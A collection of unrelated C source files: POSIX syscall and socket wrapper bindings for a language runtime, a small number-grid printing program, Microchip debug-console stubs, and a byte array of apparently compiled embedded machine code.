SY_int SY(_EAI_AGAIN) = EAI_AGAIN;
SY_int SY(_EAI_BADFLAGS) = EAI_BADFLAGS;
SY_int SY(_EAI_FAIL) = EAI_FAIL;
SY_int SY(_EAI_FAMILY) = EAI_FAMILY;
SY_int SY(_EAI_MEMORY) = EAI_MEMORY;
SY_int SY(_EAI_NODATA) = EAI_NODATA;
SY_int SY(_EAI_NONAME) = EAI_NONAME;
SY_int SY(_EAI_SERVICE) = EAI_SERVICE;
SY_int SY(_EAI_SOCKTYPE) = EAI_SOCKTYPE;
NB(I32) SY(AF_INET) = AF_INET;
NB(I32) SY(AF_INET6) = AF_INET6;
NB(I32) SY(AF_UNSPEC) = AF_UNSPEC;
NB(I32) SY(AI_V4MAPPED) = AI_V4MAPPED;
NB(I32) SY(AI_ADDRCONFIG) = AI_ADDRCONFIG;
NB(I32) SY(AI_ALL) = AI_ALL;
NB(I32) SY(AI_CANONNAME) = AI_CANONNAME;
NB(I32) SY(AI_NUMERICHOST) = AI_NUMERICHOST;
NB(I32) SY(AI_PASSIVE) = AI_PASSIVE;
NB(I32) SY(SOCK_STREAM) = SOCK_STREAM;
NB(I32) SY(SOCK_DGRAM) = SOCK_DGRAM;
NB(I32) SY(SOCK_NONBLOCK) = SOCK_NONBLOCK;
NB(I32) SY(SOCK_CLOEXEC) = SOCK_CLOEXEC;
NB(I32) SY(IPPROTO_TCP) = IPPROTO_TCP;
NB(I32) SY(IPPROTO_UDP) = IPPROTO_UDP;
struct SY(Addrinfo) SY(Addrinfo$From_raw)(NB(U8) *raw) {
struct SY(Addrinfo) r = { 0 };
struct addrinfo *ai = (void *) raw;
r.Flags = ai->ai_flags;
r.Family = ai->ai_family;
r.Socktype = ai->ai_socktype;
r.Protocol = ai->ai_protocol;
r.Raw_addrlen = ai->ai_addrlen;
r.Raw_addr = (NB(U8) *) ai->ai_addr;
r.Canonname.bytes.dat = (NB(U8) *) ai->ai_canonname;
if (ai->ai_canonname != NULL) {
r.Canonname.bytes.cnt = strlen(ai->ai_canonname);
r.Canonname.bytes.cap = r.Canonname.bytes.cnt + 1;
}
r.Raw_next = (NB(U8) *) ai->ai_next;
return r;
}
NB(byteslice) SY(Sockaddr_ip_bytes)(NB(I32) family, NB(U8) *raw_addr, NB(Uint) raw_addrlen) {
NB(byteslice) ret = { 0 };
if (family == SY(AF_INET)) {
struct sockaddr_in *addr = (void *) raw_addr;
ret.dat = (NB(U8) *) &addr->sin_addr;
ret.cnt = 4;
ret.cap = 4;
} else if (family == SY(AF_INET6)) {
struct sockaddr_in6 *addr = (void *) raw_addr;
ret.dat = (NB(U8) *) &addr->sin6_addr;
ret.cnt = 16;
ret.cap = 16;
}
return ret;
}
NB(Uint) SY(Sockaddr_ip_port)(NB(I32) family, NB(U8) *raw_addr, NB(Uint) raw_addrlen) {
NB(Uint) ret = 0;
if (family == SY(AF_INET)) {
struct sockaddr_in *addr = (void *) raw_addr;
ret = ntohs(addr->sin_port);
} else if (family == SY(AF_INET6)) {
struct sockaddr_in6 *addr = (void *) raw_addr;
ret = ntohs(addr->sin6_port);
}
return ret;
}
NB(Uint) SY(Sockaddr_ip_sizeof)(NB(I32) family) {
if (family == SY(AF_INET)) {
return sizeof(struct sockaddr_in);
} else if (family == SY(AF_INET6)) {
return sizeof(struct sockaddr_in6);
} else {
return 0;
}
}
NB(Void) SY(Sockaddr_ip)(NB(byteslice) *buf, NB(I32) family, NB(byteslice) ip6, NB(Uint) port) {
if (family == SY(AF_INET)) {
// The IP is always passed as IPv4 mapped to IPv6.
struct sockaddr_in addr = { 0 };
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
memcpy(&addr.sin_addr, ip6.dat + 12, 4);
buf->cnt = sizeof(struct sockaddr_in);
memcpy(buf->dat, &addr, buf->cnt);
} else if (family == SY(AF_INET6)) {
struct sockaddr_in6 addr = { 0 };
addr.sin6_family = AF_INET6;
addr.sin6_port = htons(port);
memcpy(&addr.sin6_addr, ip6.dat, ip6.cnt);
buf->cnt = sizeof(struct sockaddr_in6);
memcpy(buf->dat, &addr, buf->cnt);
}
}
static SY_int SY(getaddrinfo)(NB(U8) *node, NB(U8) *service, struct SY(Addrinfo) *hints,
NB(U8) **res) {
struct addrinfo _hints = {
.ai_flags = hints->Flags,
.ai_family = hints->Family,
.ai_socktype = hints->Socktype,
.ai_protocol = hints->Protocol,
0,
};
int ret = getaddrinfo((char *) node, (char *) service, &_hints, (struct addrinfo **) res);
_$Nlatestsyscallerrno = errno;
return ret;
}
static void SY(freeaddrinfo)(NB(U8) *res) {
freeaddrinfo((struct addrinfo *) res);
}
static inline NB(U32) SY(Htonl)(NB(U32) hostlong) {
return htonl(hostlong);
}
static inline NB(U16) SY(Htons)(NB(U16) hostshort) {
return htons(hostshort);
}
static inline NB(U32) SY(Ntohl)(NB(U32) netlong) {
return ntohl(netlong);
}
static inline NB(U16) SY(Ntohs)(NB(U16) netshort) {
return ntohs(netshort);
}
static SY_int SY(socket)(NB(I32) domain, NB(I32) type, NB(I32) protocol) {
int ret = socket(domain, type, protocol);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(bind)(SY_int sockfd, NB(U8) *raw_addr, NB(Uint) raw_addrlen) {
int ret = bind(sockfd, (const struct sockaddr *) raw_addr, (socklen_t) raw_addrlen);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(listen)(SY_int sockfd, NB(Int) backlog) {
int ret = listen(sockfd, backlog);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(accept4)(SY_int sockfd, NB(U8) *raw_addr, NB(Uint) *raw_addrlen, NB(I32) flags) {
socklen_t addrlen = *raw_addrlen;
int ret = accept4(sockfd, (struct sockaddr *) raw_addr, &addrlen, flags);
_$Nlatestsyscallerrno = errno;
*raw_addrlen = addrlen;
return ret;
}
static SY_int SY(connect)(SY_int sockfd, NB(U8) *raw_addr, NB(Uint) raw_addrlen) {
socklen_t addrlen = raw_addrlen;
int ret = connect(sockfd, (struct sockaddr *) raw_addr, addrlen);
_$Nlatestsyscallerrno = errno;
return ret;
}
NB(I32) SY(SOL_SOCKET) = SOL_SOCKET;
NB(I32) SY(SO_REUSEADDR) = SO_REUSEADDR;
NB(I32) SY(SO_ERROR) = SO_ERROR;
static SY_int SY(getsockopt)(SY_int sockfd, NB(I32) level, NB(I32) optname,
NB(U8) *optval, NB(Uint) *optlen) {
socklen_t _optlen = *optlen;
int ret = getsockopt(sockfd, level, optname, optval, &_optlen);
*optlen = _optlen;
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(setsockopt)(SY_int sockfd, NB(I32) level, NB(I32) optname,
NB(U8) *optval, NB(Uint) optlen) {
socklen_t _optlen = optlen;
int ret = setsockopt(sockfd, level, optname, optval, _optlen);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(getsockname)(SY_int sockfd, NB(U8) *raw_addr, NB(Uint) *raw_addrlen) {
socklen_t addrlen = *raw_addrlen;
int ret = getsockname(sockfd, (struct sockaddr *) raw_addr, &addrlen);
_$Nlatestsyscallerrno = errno;
*raw_addrlen = addrlen;
return ret;
}
NB(I32) SY(SHUT_RD) = SHUT_RD;
NB(I32) SY(SHUT_WR) = SHUT_WR;
NB(I32) SY(SHUT_RDWR) = SHUT_RDWR;
static SY_int SY(shutdown)(SY_int sockfd, NB(I32) how) {
int ret = shutdown(sockfd, how);
_$Nlatestsyscallerrno = errno;
return ret;
}
NB(I32) SY(EPOLL_CLOEXEC) = EPOLL_CLOEXEC;
NB(I32) SY(EPOLL_CTL_ADD) = EPOLL_CTL_ADD;
NB(I32) SY(EPOLL_CTL_MOD) = EPOLL_CTL_MOD;
NB(I32) SY(EPOLL_CTL_DEL) = EPOLL_CTL_DEL;
NB(U32) SY(EPOLLIN) = EPOLLIN;
NB(U32) SY(EPOLLOUT) = EPOLLOUT;
NB(U32) SY(EPOLLRDHUP) = EPOLLRDHUP;
NB(U32) SY(EPOLLPRI) = EPOLLPRI;
NB(U32) SY(EPOLLERR) = EPOLLERR;
NB(U32) SY(EPOLLHUP) = EPOLLHUP;
NB(U32) SY(EPOLLET) = EPOLLET;
NB(U32) SY(EPOLLONESHOT) = EPOLLONESHOT;
NB(U32) SY(EPOLLWAKEUP) = EPOLLWAKEUP;
static SY_int SY(epoll_create1)(SY_int flags) {
int ret = epoll_create1(flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(epoll_ctl)(SY_int epfd, NB(I32) op, SY_int fd, NB(U8) *raw_event) {
int ret = epoll_ctl(epfd, op, fd, (struct epoll_event *) raw_event);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(epoll_pwait)(SY_int epfd, NB(U8) *raw_events, NB(Uint) maxevents, NB(Int) timeout,
NB(U8) *raw_sigmask) {
int ret = epoll_pwait(epfd, (struct epoll_event *) raw_events, maxevents, timeout, (const sigset_t *) raw_sigmask);
_$Nlatestsyscallerrno = errno;
return ret;
}
NB(I32) SY(SIGHUP) = SIGHUP;
NB(I32) SY(SIGINT) = SIGINT;
NB(I32) SY(SIGQUIT) = SIGQUIT;
NB(I32) SY(SIGILL) = SIGILL;
NB(I32) SY(SIGABRT) = SIGABRT;
NB(I32) SY(SIGFPE) = SIGFPE;
NB(I32) SY(SIGKILL) = SIGKILL;
NB(I32) SY(SIGSEGV) = SIGSEGV;
NB(I32) SY(SIGPIPE) = SIGPIPE;
NB(I32) SY(SIGALRM) = SIGALRM;
NB(I32) SY(SIGTERM) = SIGTERM;
NB(I32) SY(SIGUSR1) = SIGUSR1;
NB(I32) SY(SIGUSR2) = SIGUSR2;
NB(I32) SY(SIGCHLD) = SIGCHLD;
NB(I32) SY(SIGCONT) = SIGCONT;
NB(I32) SY(SIGSTOP) = SIGSTOP;
NB(I32) SY(SIGTSTP) = SIGTSTP;
NB(I32) SY(SIGTTIN) = SIGTTIN;
NB(I32) SY(SIGTTOU) = SIGTTOU;
NB(I32) SY(SIGTRAP) = SIGTRAP;
static void SY(sigemptyset)(NB(U8) *raw_set) {
sigemptyset((sigset_t *)raw_set);
}
static SY_int SY(sigaddset)(NB(U8) *raw_set, SY_int signum) {
int ret = sigaddset((sigset_t *)raw_set, signum);
_$Nlatestsyscallerrno = errno;
return ret;
}
NB(I32) SY(SFD_CLOEXEC) = SFD_CLOEXEC;
NB(I32) SY(SFD_NONBLOCK) = SFD_NONBLOCK;
static SY_int SY(signalfd)(SY_int fd, NB(U8) *raw_mask, SY_int flags) {
int ret = signalfd(fd, (const sigset_t *)raw_mask, flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
NB(U8) *n$syscall$SIGACTION_DFL(void) {
static __thread struct n$syscall$Sigaction act = { 0 };
act.act.sa_handler = SIG_DFL;
return (void *)&act;
}
NB(U8) *n$syscall$SIGACTION_IGN(void) {
static __thread struct n$syscall$Sigaction act = { 0 };
act.act.sa_handler = SIG_IGN;
return (void *)&act;
}
static SY_int SY(sigaction)(NB(I32) signum, NB(U8) *raw_act, NB(U8) *raw_oldact) {
int ret = sigaction(signum, (const struct sigaction *)raw_act, (struct sigaction *)raw_oldact);
_$Nlatestsyscallerrno = errno;
return ret;
}
NB(I32) SY(SIG_BLOCK) = SIG_BLOCK;
NB(I32) SY(SIG_UNBLOCK) = SIG_UNBLOCK;
NB(I32) SY(SIG_SETMASK) = SIG_SETMASK;
static SY_int SY(sigprocmask)(SY_int how, NB(U8) *raw_set, NB(U8) *raw_oldset) {
int ret = sigprocmask(how, (const sigset_t *)raw_set, (sigset_t *)raw_oldset);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(execve)(NB(U8) *filename, NB(U8) **argv, NB(U8) **envp) {
int ret = execve((char *) filename, (char **) argv, (char **) envp);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(pipe2)(SY_int *pipefd, SY_int flags) {
int ret = pipe2(pipefd, flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(fork)(void) {
int ret = fork();
_$Nlatestsyscallerrno = errno;
return ret;
}
static void SY(_exit)(SY_int status) {
_exit(status);
}
NB(I32) SY(WNOHANG) = WNOHANG;
NB(I32) SY(WUNTRACED) = WUNTRACED;
NB(I32) SY(WCONTINUED) = WCONTINUED;
static SY_int SY(waitpid)(SY_int pid, SY_int *status, SY_int options) {
int ret = waitpid(pid, status, options);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(getpid)(void) {
return getpid();
}
static SY_int SY(getppid)(void) {
return getppid();
}
static void tm_sys(struct tm *sys, const struct SY(Tm) *tm) {
sys->tm_sec = tm->Sec;
sys->tm_min = tm->Min;
sys->tm_hour = tm->Hour;
sys->tm_mday = tm->Mday;
sys->tm_mon = tm->Mon;
sys->tm_year = tm->Year;
sys->tm_wday = tm->Wday;
sys->tm_yday = tm->Yday;
sys->tm_isdst = tm->Isdst;
}
static void sys_tm(struct SY(Tm) *tm, const struct tm *sys) {
tm->Sec = sys->tm_sec;
tm->Min = sys->tm_min;
tm->Hour = sys->tm_hour;
tm->Mday = sys->tm_mday;
tm->Mon = sys->tm_mon;
tm->Year = sys->tm_year;
tm->Wday = sys->tm_wday;
tm->Yday = sys->tm_yday;
tm->Isdst = sys->tm_isdst;
}
struct SY(Tm) *SY(Gmtime_r)(NB(I64) *timep, struct SY(Tm) *result) {
struct tm sys = { 0 };
if (gmtime_r(timep, &sys) == NULL) {
return NULL;
}
sys_tm(result, &sys);
return result;
}
struct SY(Tm) *SY(Localtime_r)(NB(I64) *timep, struct SY(Tm) *result) {
struct tm sys = { 0 };
if (localtime_r(timep, &sys) == NULL) {
return NULL;
}
sys_tm(result, &sys);
return result;
}
NB(Uint) SY(strftime)(NB(U8) *s, NB(Uint) max, NB(U8) *format, struct SY(Tm) *tm) {
struct tm sys = { 0 };
tm_sys(&sys, tm);
return strftime((char *)s, max, (const char *)format, &sys);
}
static SY_int SY(nanosleep)(NB(U64) sec, NB(U64) nsec, NB(U64) *left_sec, NB(U64) *left_nsec) {
struct timespec req = { .tv_sec = sec, .tv_nsec = nsec };
struct timespec rem = { 0 };
int ret = nanosleep(&req, &rem);
if (ret == 0) {
return 0;
}
_$Nlatestsyscallerrno = errno;
*left_sec = rem.tv_sec;
*left_nsec = rem.tv_nsec;
return ret;
}
static SY_int SY(posix_openpt)(SY_int flags) {
int ret = posix_openpt(flags);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(grantpt)(SY_int fd) {
int ret = grantpt(fd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(unlockpt)(SY_int fd) {
int ret = unlockpt(fd);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(ptsname_r)(SY_int fd, NB(U8) *buf, NB(Uint) buflen) {
int ret = ptsname_r(fd, (char *)buf, buflen);
_$Nlatestsyscallerrno = errno;
return ret;
}
static SY_int SY(isatty)(SY_int fd) {
int ret = isatty(fd);
_$Nlatestsyscallerrno = errno;
return ret;
}
#endif
#undef SY
#undef NB
|
the_stack_data/110292.c | #include<stdio.h>
void main()
{
int x,y,l;
printf("Enter the no of columns and rows \n");
scanf("%d", &l);
for(x=1;x<=l;x++)
{
for(y=1;y<=l;y++)
{
printf("%d", x);
}
printf("\n");
}
}
|
the_stack_data/90827.c | /*******************************************************************************
Debug Console Source file
Company:
Microchip Technology Inc.
File Name:
xc32_monitor.c
Summary:
debug console Source File
Description:
None
*******************************************************************************/
/*******************************************************************************
* Copyright (C) 2018 Microchip Technology Inc. and its subsidiaries.
*
* Subject to your compliance with these terms, you may use Microchip software
* and any derivatives exclusively with Microchip products. It is your
* responsibility to comply with third party license terms applicable to your
* use of third party software (including open source software) that may
* accompany Microchip software.
*
* THIS SOFTWARE IS SUPPLIED BY MICROCHIP "AS IS". NO WARRANTIES, WHETHER
* EXPRESS, IMPLIED OR STATUTORY, APPLY TO THIS SOFTWARE, INCLUDING ANY IMPLIED
* WARRANTIES OF NON-INFRINGEMENT, MERCHANTABILITY, AND FITNESS FOR A
* PARTICULAR PURPOSE.
*
* IN NO EVENT WILL MICROCHIP BE LIABLE FOR ANY INDIRECT, SPECIAL, PUNITIVE,
* INCIDENTAL OR CONSEQUENTIAL LOSS, DAMAGE, COST OR EXPENSE OF ANY KIND
* WHATSOEVER RELATED TO THE SOFTWARE, HOWEVER CAUSED, EVEN IF MICROCHIP HAS
* BEEN ADVISED OF THE POSSIBILITY OR THE DAMAGES ARE FORESEEABLE. TO THE
* FULLEST EXTENT ALLOWED BY LAW, MICROCHIP'S TOTAL LIABILITY ON ALL CLAIMS IN
* ANY WAY RELATED TO THIS SOFTWARE WILL NOT EXCEED THE AMOUNT OF FEES, IF ANY,
* THAT YOU HAVE PAID DIRECTLY TO MICROCHIP FOR THIS SOFTWARE.
*******************************************************************************/
#ifdef __arm__
/* Declaration of these functions are missing in stdio.h for ARM parts*/
int _mon_getc(int canblock);
void _mon_putc(char c);
#endif //__arm__
int _mon_getc(int canblock)
{
(void)canblock;
return 0;
}
void _mon_putc(char c)
{
(void)c;
}
|
the_stack_data/28263399.c | unsigned char intermediate[] = {
0xb8, 0x08, 0x00, 0x50,
0x00, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb8, 0x08, 0xfc, 0x0c,
0xb0, 0x00, 0x00, 0x00,
0xb8, 0x08, 0xfc, 0x50,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb8, 0x08, 0xfc, 0x24,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00,
0x31, 0xa0, 0x00, 0x00,
0x30, 0x40, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0x20, 0x26, 0x40,
0xb9, 0xf4, 0x00, 0xe4,
0x80, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0x0e, 0xf0,
0x30, 0xa3, 0x00, 0x00,
0xb8, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe0, 0x60, 0x09, 0xe0,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xbc, 0x03, 0x00, 0x18,
0xb8, 0x00, 0x00, 0x50,
0xb0, 0x00, 0x00, 0x01,
0xf8, 0x60, 0x04, 0x94,
0x99, 0xfc, 0x20, 0x00,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x04, 0x94,
0xe8, 0x83, 0x00, 0x00,
0xbe, 0x24, 0xff, 0xe4,
0x30, 0x63, 0x00, 0x04,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0x00, 0x00,
0xbc, 0x03, 0x00, 0x14,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xd8,
0x99, 0xfc, 0x18, 0x00,
0x80, 0x00, 0x00, 0x00,
0x30, 0x60, 0x00, 0x01,
0xb0, 0x00, 0x00, 0x01,
0xf0, 0x60, 0x09, 0xe0,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x60, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xd8,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xc0, 0x09, 0xe4,
0xbc, 0x03, 0x00, 0x0c,
0x99, 0xfc, 0x18, 0x00,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0xe8, 0x60, 0x09, 0xdc,
0xb0, 0x00, 0x00, 0x00,
0x30, 0x80, 0x00, 0x00,
0xbc, 0x03, 0x00, 0x18,
0xb0, 0x00, 0x00, 0x01,
0x30, 0xa0, 0x09, 0xdc,
0xbc, 0x04, 0x00, 0x0c,
0x99, 0xfc, 0x20, 0x00,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x20, 0x21, 0xff, 0xec,
0xf9, 0xe1, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x01,
0x20, 0xc0, 0x09, 0xe0,
0xb0, 0x00, 0x00, 0x01,
0x20, 0xe0, 0x09, 0xe0,
0x06, 0x46, 0x38, 0x00,
0xbc, 0x72, 0x00, 0x14,
0xf8, 0x06, 0x00, 0x00,
0x20, 0xc6, 0x00, 0x04,
0x06, 0x46, 0x38, 0x00,
0xbc, 0x92, 0xff, 0xf4,
0xb0, 0x00, 0x00, 0x01,
0x20, 0xc0, 0x09, 0xe0,
0xb0, 0x00, 0x00, 0x01,
0x20, 0xe0, 0x22, 0x4c,
0x06, 0x46, 0x38, 0x00,
0xbc, 0x72, 0x00, 0x14,
0xf8, 0x06, 0x00, 0x00,
0x20, 0xc6, 0x00, 0x04,
0x06, 0x46, 0x38, 0x00,
0xbc, 0x92, 0xff, 0xf4,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xfa, 0x7c,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xfc, 0x50,
0x80, 0x00, 0x00, 0x00,
0x20, 0xc0, 0x00, 0x00,
0x20, 0xe0, 0x00, 0x00,
0xb9, 0xf4, 0x00, 0xa8,
0x20, 0xa0, 0x00, 0x00,
0x32, 0x63, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xfc, 0x58,
0x80, 0x00, 0x00, 0x00,
0xb0, 0x00, 0x00, 0x00,
0xb9, 0xf4, 0xfa, 0x3c,
0x80, 0x00, 0x00, 0x00,
0xc9, 0xe1, 0x00, 0x00,
0x30, 0x73, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x20, 0x21, 0x00, 0x14,
0x30, 0x66, 0x00, 0x08,
0x30, 0x86, 0x00, 0x04,
0xf8, 0x65, 0x00, 0x08,
0xf8, 0x85, 0x00, 0x04,
0xf8, 0xc5, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xe8, 0x65, 0x00, 0x00,
0xf8, 0xc3, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xe8, 0x85, 0x00, 0x00,
0xe8, 0x64, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xe8, 0x65, 0x00, 0x04,
0x30, 0xc0, 0x00, 0x90,
0xf8, 0x03, 0x00, 0x00,
0xb9, 0xf4, 0xff, 0xcc,
0x80, 0x00, 0x00, 0x00,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xe8, 0x85, 0x00, 0x08,
0xe8, 0x64, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x60, 0x00, 0x00,
0x30, 0x21, 0xff, 0xdc,
0xf9, 0xe1, 0x00, 0x00,
0xfa, 0xc1, 0x00, 0x1c,
0xfa, 0xe1, 0x00, 0x20,
0xe8, 0x85, 0x00, 0x00,
0x12, 0xc5, 0x00, 0x00,
0xe8, 0xa5, 0x00, 0x04,
0xe8, 0xc4, 0x00, 0x08,
0xe8, 0x66, 0x00, 0x00,
0xf8, 0x76, 0x00, 0x0c,
0xea, 0xe6, 0x00, 0x00,
0xb9, 0xf4, 0x01, 0x24,
0x80, 0x00, 0x00, 0x00,
0xe8, 0x96, 0x00, 0x00,
0xe8, 0xb6, 0x00, 0x04,
0xe8, 0xc4, 0x00, 0x08,
0xe8, 0x66, 0x00, 0x00,
0x14, 0x77, 0x18, 0x00,
0xf8, 0x76, 0x00, 0x10,
0xea, 0xe6, 0x00, 0x00,
0xb9, 0xf4, 0x00, 0xd0,
0x80, 0x00, 0x00, 0x00,
0xe8, 0xd6, 0x00, 0x00,
0x30, 0x60, 0x03, 0xe7,
0xe8, 0xa6, 0x00, 0x08,
0xe8, 0x85, 0x00, 0x00,
0x14, 0x97, 0x20, 0x00,
0xf8, 0x96, 0x00, 0x14,
0xe9, 0xe1, 0x00, 0x00,
0xea, 0xc1, 0x00, 0x1c,
0xea, 0xe1, 0x00, 0x20,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x24,
0xbc, 0x06, 0x00, 0x3c,
0xe8, 0x66, 0x00, 0x00,
0xf8, 0x65, 0x00, 0x00,
0xe8, 0x86, 0x00, 0x04,
0xf8, 0x85, 0x00, 0x04,
0xe8, 0x85, 0x00, 0x00,
0xe8, 0xa5, 0x00, 0x04,
0x10, 0x60, 0x00, 0x00,
0xa4, 0x84, 0x00, 0x3f,
0x60, 0x84, 0x00, 0x04,
0xb0, 0x00, 0x13, 0x04,
0xa0, 0x84, 0x00, 0x00,
0xf8, 0xa4, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xf8, 0xc5, 0x00, 0x04,
0xf8, 0xc5, 0x00, 0x00,
0xb8, 0x00, 0xff, 0xd0,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x60, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x60, 0x00, 0x86,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x60, 0x00, 0x86,
0xe8, 0x65, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0x10, 0xe0, 0x00, 0x00,
0x10, 0xc5, 0x00, 0x00,
0x11, 0x07, 0x00, 0x00,
0x11, 0x27, 0x00, 0x00,
0x11, 0x47, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x07, 0xd0,
0x30, 0xa0, 0x00, 0x0c,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x10, 0xe0, 0x00, 0x00,
0x10, 0xc5, 0x00, 0x00,
0x11, 0x07, 0x00, 0x00,
0x11, 0x27, 0x00, 0x00,
0x11, 0x47, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x07, 0xa0,
0x30, 0xa0, 0x00, 0x0b,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0x10, 0xe0, 0x00, 0x00,
0x10, 0xc5, 0x00, 0x00,
0x11, 0x07, 0x00, 0x00,
0x11, 0x27, 0x00, 0x00,
0x11, 0x47, 0x00, 0x00,
0x30, 0x21, 0xff, 0xe4,
0xf9, 0xe1, 0x00, 0x00,
0xb9, 0xf4, 0x07, 0x70,
0x30, 0xa0, 0x00, 0x0a,
0xe9, 0xe1, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x30, 0x21, 0x00, 0x1c,
0xa4, 0xa5, 0x00, 0xff,
0x60, 0xa5, 0x00, 0x04,
0xb0, 0x00, 0x11, 0x00,
0xa0, 0xa5, 0x08, 0x00,
0xe8, 0x65, 0x00, 0x00,
0xbe, 0x03, 0x00, 0x10,
0x10, 0x80, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x64, 0x00, 0x00,
0x30, 0x80, 0x00, 0x16,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x64, 0x00, 0x00,
0x94, 0x80, 0xa0, 0x01,
0xe8, 0x64, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x80, 0x00, 0x00, 0x00,
0xa4, 0xa5, 0x00, 0xff,
0x60, 0xa5, 0x01, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0x65, 0x00, 0x5c,
0xf8, 0xc3, 0x00, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0xa5, 0x00, 0x68,
0xe8, 0x65, 0x00, 0x00,
0xa4, 0x63, 0x00, 0x01,
0xbe, 0x23, 0x00, 0x0c,
0x30, 0x80, 0xff, 0xff,
0x10, 0x83, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x64, 0x00, 0x00,
0xa4, 0xa5, 0x00, 0xff,
0x60, 0xa5, 0x01, 0x00,
0xb0, 0x00, 0x12, 0x00,
0xa0, 0xa5, 0x00, 0x64,
0xe8, 0x85, 0x00, 0x00,
0xf8, 0x86, 0x00, 0x00,
0xb6, 0x0f, 0x00, 0x08,
0x10, 0x60, 0x00, 0x00,
0x94, 0x60, 0xa0, 0x01,
0xe8, 0x85, 0x00, 0x00,
0xe0, 0xa3, 0x00, 0x03,
0x10, 0x60, 0x00, 0x00,
0xa4, 0x84, 0x00, 0x3f,
0x60, 0x84, 0x00, 0x04,
0xb0, 0x00, 0x13, 0x01,
0xa0, 0x84, 0x00, 0x00,
0x60, 0xa5, 0x01, 0x00,
0x80, 0xa5, 0x20, 0x00,
0xe8, 0xc5, 0x00, 0x00,
